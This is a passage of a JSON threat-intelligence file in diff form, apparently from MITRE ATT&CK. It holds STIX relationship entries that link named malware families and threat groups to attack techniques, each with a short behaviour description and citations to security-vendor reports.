"relationship--defc2dac-b7b7-4f44-b56a-405984ab5236", + "external_references": [ + { + "source_name": "S2 Grupo TrickBot June 2017", + "description": "Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.", + "url": "https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf" + }, + { + "source_name": "Trend Micro Totbrick Oct 2016", + "description": "Antazo, F. (2016, October 31). TSPY_TRICKLOAD.N. Retrieved September 14, 2018.", + "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/tspy_trickload.n" + } + ], + "modified": "2019-06-24T19:15:06.500Z", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "relationship_type": "uses", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NETEAGLE](https://attack.mitre.org/software/S0034) will decrypt resources it downloads with HTTP requests by using RC4 with the key \"ScoutEagle.\"", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--122e6f20-ab3b-4bf0-bef1-0372399bee7c", + "external_references": [ + { + "source_name": "FireEye APT30", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2", + "relationship_type": "uses", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[QUADAGENT](https://attack.mitre.org/software/S0269) uses cmd.exe to execute scripts and commands on the victim\u2019s machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--80c122f6-6aea-4e27-aff2-09467bc4a628", + "external_references": [ + { + "source_name": "Unit 42 QUADAGENT July 2018", + "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[XAgentOSX](https://attack.mitre.org/software/S0161) contains the takeScreenShot (along with startTakeScreenShot and stopTakeScreenShot) functions to take screenshots using the CGGetActiveDisplayList, CGDisplayCreateImage, and NSImage:initWithCGImage methods.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c0223316-4b0b-461e-8947-01c0f5baeef2", + "external_references": [ + { + "source_name": "XAgentOSX 2017", + "description": "Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/" + } + ], + "modified": "2019-07-26T23:07:21.042Z", + "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[yty](https://attack.mitre.org/software/S0248) gathers the computer name, the serial number of the main disk volume, CPU information, Microsoft Windows version, and runs the command systeminfo.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--abf00a6a-7922-432c-95e0-6c44db2c20e3", + "external_references": [ + { + "source_name": "ASERT Donot March 2018", + "description": "Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.", + "url": "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/" + } + ], + "modified": "2019-04-25T00:09:23.130Z", + "source_ref": "malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[WINDSHIELD](https://attack.mitre.org/software/S0155) can gather Registry values.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--47f611f4-b9f0-42ef-9629-ee4a56e737ed", + "external_references": [ + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--98e8a977-3416-43aa-87fa-33e287e9c14c", + "relationship_type": "uses", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has run ipconfig /all on a victim.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e0301b36-c339-49c5-b257-9ece19152922", + "external_references": [ + { + "source_name": "Palo Alto OilRig May 2016", + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + }, + { + "source_name": "Palo Alto OilRig Oct 2016", + "description": "Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/" + } + ], + "modified": "2019-07-17T16:17:29.717Z", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Carbanak](https://attack.mitre.org/software/S0030) logs key strokes for configured processes and sends them back to the C2 server.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--82384148-90fd-4bfa-a734-e9c8b37b584f", + "external_references": [ + { + "source_name": "Kaspersky Carbanak", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf" + }, + { + "source_name": "FireEye CARBANAK June 2017", + "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[JPIN](https://attack.mitre.org/software/S0201) checks for the presence of certain security-related processes and deletes its installer/uninstaller component if it identifies any of them.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a6e883cf-6276-47c1-a4a3-be2756d510a2", + "external_references": [ + { + "source_name": "Microsoft PLATINUM April 2016", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30", + "relationship_type": "uses", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PsExec](https://attack.mitre.org/software/S0029), a tool that has been used by adversaries, writes programs to the ADMIN$ network share to execute commands on remote systems.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--27102940-8ec1-42ad-98e5-57dc24b572eb", + "external_references": [ + { + "source_name": "PsExec Russinovich", + "description": "Russinovich, M. (2004, June 28). PsExec. Retrieved December 17, 2015.", + "url": "http://windowsitpro.com/systems-management/psexec" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", + "relationship_type": "uses", + "target_ref": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Wingbird](https://attack.mitre.org/software/S0176) drops a malicious file (sspisrv.dll) alongside a copy of lsass.exe, which is used to register a service that loads sspisrv.dll as a driver. The payload of the malicious driver (located in its entry-point function) is executed when loaded by lsass.exe before the spoofed service becomes unstable and crashes.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--019eb3cf-35df-4109-a006-1b91331866c3", + "external_references": [ + { + "source_name": "Microsoft SIR Vol 21", + "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.", + "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf" + }, + { + "source_name": "Microsoft Wingbird Nov 2017", + "description": "Microsoft. (2017, November 9). Backdoor:Win32/Wingbird.A!dha. Retrieved November 27, 2017.", + "url": "https://www.microsoft.com/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Wingbird.A!dha" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--a8d3d497-2da9-4797-8e0b-ed176be08654", + "relationship_type": "uses", + "target_ref": "attack-pattern--6e6845c2-347a-4a6f-a2d1-b74a18ebd352" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) collects the OS version, system architecture, computer name, product ID, install date, and information on the keyboard mapping to determine the language used on the system.", + "type": "relationship", + "created": "2019-01-29T17:59:44.450Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--dac8dcfd-e7e7-4b41-b100-07f95f6b0ba9", + "external_references": [ + { + "source_name": "Talos Zeus Panda Nov 2017", + "description": "Brumaghin, E., et al. (2017, November 02). Poisoning the Well: Banking Trojan Targets Google Search Results. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html#More" + }, + { + "source_name": "GDATA Zeus Panda June 2017", + "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.", + "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf" + } + ], + "modified": "2019-04-16T20:55:20.075Z", + "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) has used HTTP and SMTP for C2 communications.", + "type": "relationship", + "created": "2019-01-29T18:44:04.934Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5e8fc958-6778-4c46-ae15-0d239309bc76", + "external_references": [ + { + "source_name": "DigiTrust Agent Tesla Jan 2017", + "description": "The DigiTrust Group. (2017, January 12). The Rise of Agent Tesla. Retrieved November 5, 2018.", + "url": "https://www.digitrustgroup.com/agent-tesla-keylogger/" + }, + { + "source_name": "Fortinet Agent Tesla June 2017", + "description": "Zhang, X. (2017, June 28). In-Depth Analysis of A New Variant of .NET Malware AgentTesla. Retrieved November 5, 2018.", + "url": "https://www.fortinet.com/blog/threat-research/in-depth-analysis-of-net-malware-javaupdtr.html" + } + ], + "modified": "2019-04-16T14:30:35.289Z", + "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Remcos](https://attack.mitre.org/software/S0332) can capture data from the system\u2019s microphone.", + "type": "relationship", + "created": "2019-01-29T18:55:20.850Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ce85be06-0f74-480e-b55a-df92f6989902", + "external_references": [ + { + "source_name": "Fortinet Remcos Feb 2017", + "description": "Bacurio, F., Salvio, J. (2017, February 14). REMCOS: A New RAT In The Wild. Retrieved November 6, 2018.", + "url": "https://www.fortinet.com/blog/threat-research/remcos-a-new-rat-in-the-wild-2.html" + } + ], + "modified": "2019-04-19T14:39:52.965Z", + "source_ref": "tool--7cd0bc75-055b-4098-a00e-83dc8beaff14", + "relationship_type": "uses", + "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[DarkComet](https://attack.mitre.org/software/S0334) can collect the computer name, RAM used, and operating system version from the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-29T19:18:28.762Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--62442f37-7a0e-4945-b498-2d02306e53c7", + "external_references": [ + { + "source_name": "TrendMicro DarkComet Sept 2014", + "description": "TrendMicro. (2014, September 03). DARKCOMET. Retrieved November 6, 2018.", + "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/DARKCOMET" + }, + { + "source_name": "Malwarebytes DarkComet March 2018", + "description": "Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.", + "url": "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/" + } + ], + "modified": "2019-06-04T19:40:43.576Z", + "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Epic](https://attack.mitre.org/software/S0091) has a command to delete a file from the machine.", + "type": "relationship", + "created": "2019-01-29T19:55:47.945Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3464b769-7884-4721-8384-1771472f668d", + "external_references": [ + { + "source_name": "Kaspersky Turla Aug 2014", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2014, August 06). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros. Retrieved November 7, 2018.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080105/KL_Epic_Turla_Technical_Appendix_20140806.pdf" + } + ], + "modified": "2019-07-26T16:10:42.699Z", + "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NanoCore](https://attack.mitre.org/software/S0336) can perform keylogging on the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-29T20:05:36.504Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a09b9e3f-96b8-4fde-9f7d-261b449cdabd", + "external_references": [ + { + "source_name": "PaloAlto NanoCore Feb 2016", + "description": "Kasza, A., Halfpop, T. (2016, February 09). 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(2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", + "url": "https://content.fireeye.com/apt/rpt-apt38" + } + ], + "modified": "2019-04-29T17:49:17.777Z", + "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SilverTerrier](https://attack.mitre.org/groups/G0083) uses SMTP, FTP, and HTTP for C2 communications.", + "type": "relationship", + "created": "2019-01-29T21:36:59.980Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5e7e3226-1583-48de-9376-946fa88b6d15", + "external_references": [ + { + "source_name": "Unit42 SilverTerrier 2018", + "description": "Unit42. (2016). SILVERTERRIER: THE RISE OF NIGERIAN BUSINESS EMAIL COMPROMISE. Retrieved November 13, 2018.", + "url": "https://www.paloaltonetworks.com/apps/pan/public/downloadResource?pagePath=/content/pan/en_US/resources/whitepapers/unit42-silverterrier-rise-of-nigerian-business-email-compromise" + } + ], + "modified": "2019-04-12T16:33:51.171Z", + "source_ref": "intrusion-set--76565741-3452-4069-ab08-80c0ea95bbeb", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Micropsia](https://attack.mitre.org/software/S0339) collects the username from the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-29T21:47:53.757Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--693372c1-418e-45c3-9b0e-0c21d705d1d2", + "external_references": [ + { + "source_name": "Talos Micropsia June 2017", + "description": "Rascagneres, P., Mercer, W. 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GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "modified": "2019-01-30T13:42:09.408Z", + "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT18](https://attack.mitre.org/groups/G0026) uses HTTP and DNS for C2 communications.", + "type": "relationship", + "created": "2019-01-30T14:00:49.822Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d7d7b5e5-aceb-473b-aeaa-f1287d8d0542", + "external_references": [ + { + "source_name": "PaloAlto DNS Requests May 2016", + "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved November 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/" + } + ], + "modified": "2019-05-30T18:05:32.753Z", + "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Exaramel](https://attack.mitre.org/software/S0343) uses RC4 for encrypting the configuration.", + "type": "relationship", + "created": "2019-01-30T15:10:04.203Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4091258c-d6fb-450f-9c4b-7b09937fbb91", + "external_references": [ + { + "source_name": "ESET TeleBots Oct 2018", + "description": "Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018.", + "url": "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/" + } + ], + "modified": "2019-04-24T21:14:11.923Z", + "source_ref": "malware--051eaca1-958f-4091-9e5f-a9acd8f820b5", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Seasalt](https://attack.mitre.org/software/S0345) obfuscates configuration data.", + "type": "relationship", + "created": "2019-01-30T15:27:06.718Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--82168e77-bbd9-4da4-b163-7f813df06426", + "external_references": [ + { + "source_name": "Mandiant APT1 Appendix", + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + } + ], + "modified": "2019-02-12T21:28:19.580Z", + "source_ref": "malware--b45747dc-87ca-4597-a245-7e16a61bc491", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OceanSalt](https://attack.mitre.org/software/S0346) can extract drive information from the endpoint and search files on the system.", + "type": "relationship", + "created": "2019-01-30T15:43:19.382Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6c130c97-8623-4d14-829e-0e90dd0757a0", + "external_references": [ + { + "source_name": "McAfee Oceansalt Oct 2018", + "description": "Sherstobitoff, R., Malhotra, A. (2018, October 18). \u2018Operation Oceansalt\u2019 Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018.", + "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf" + } + ], + "modified": "2019-02-12T21:14:11.181Z", + "source_ref": "malware--288fa242-e894-4c7e-ac86-856deedf5cea", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) can collect the hostname, Microsoft Windows version, and processor architecture from a victim machine.", + "type": "relationship", + "created": "2019-01-30T16:39:54.305Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c50c585a-b5c4-41c7-91a2-b6bb14b7e1f0", + "external_references": [ + { + "source_name": "PaloAlto CardinalRat Apr 2017", + "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/" + } + ], + "modified": "2019-06-10T18:25:51.585Z", + "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) uses various techniques to bypass UAC.", + "type": "relationship", + "created": "2019-01-30T17:33:40.871Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--80d612e4-8d4a-45f7-8c29-d44a1aae794c", + "external_references": [ + { + "source_name": "ClearSky MuddyWater Nov 2018", + "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.", + "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf" + } + ], + "modified": "2019-06-28T15:30:58.582Z", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "relationship_type": "uses", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) sent spearphishing emails with malicious attachments that required users to click on an image in the document to drop the malware to disk.", + "type": "relationship", + "created": "2019-01-30T17:43:28.285Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e936d8c6-f069-49b1-8d4e-9ecafab2a576", + "external_references": [ + { + "source_name": "Securelist Darkhotel Aug 2015", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.", + "url": "https://securelist.com/darkhotels-attacks-in-2015/71713/" + } + ], + "modified": "2019-01-31T18:48:52.178Z", + "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", + "relationship_type": "uses", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Night Dragon](https://attack.mitre.org/groups/G0014) has performed SQL injection attacks of extranet web servers to gain access.", + "type": "relationship", + "created": "2019-01-30T18:02:59.371Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c893eaa3-de1e-47e9-a01b-5de2b54d00ab", + "external_references": [ + { + "source_name": "McAfee Night Dragon", + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "modified": "2019-03-25T14:36:29.800Z", + "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8", + "relationship_type": "uses", + "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cannon](https://attack.mitre.org/software/S0351) can obtain a list of processes running on the system.", + "type": "relationship", + "created": "2019-01-30T18:58:04.079Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--11870221-f730-4844-a441-ac1e8d21bc4b", + "external_references": [ + { + "source_name": "Unit42 Cannon Nov 2018", + "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/" + }, + { + "source_name": "Unit42 Sofacy Dec 2018", + "description": "Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group\u2019s Global Campaign. Retrieved April 19, 2019.", + "url": "https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/" + } + ], + "modified": "2019-04-22T19:48:08.937Z", + "source_ref": "malware--d20b397a-ea47-48a9-b503-2e2a3551e11d", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NOKKI](https://attack.mitre.org/software/S0353) can gather information on the victim IP address.", + "type": "relationship", + "created": "2019-01-30T19:50:46.692Z", + "object_marking_refs": [ + 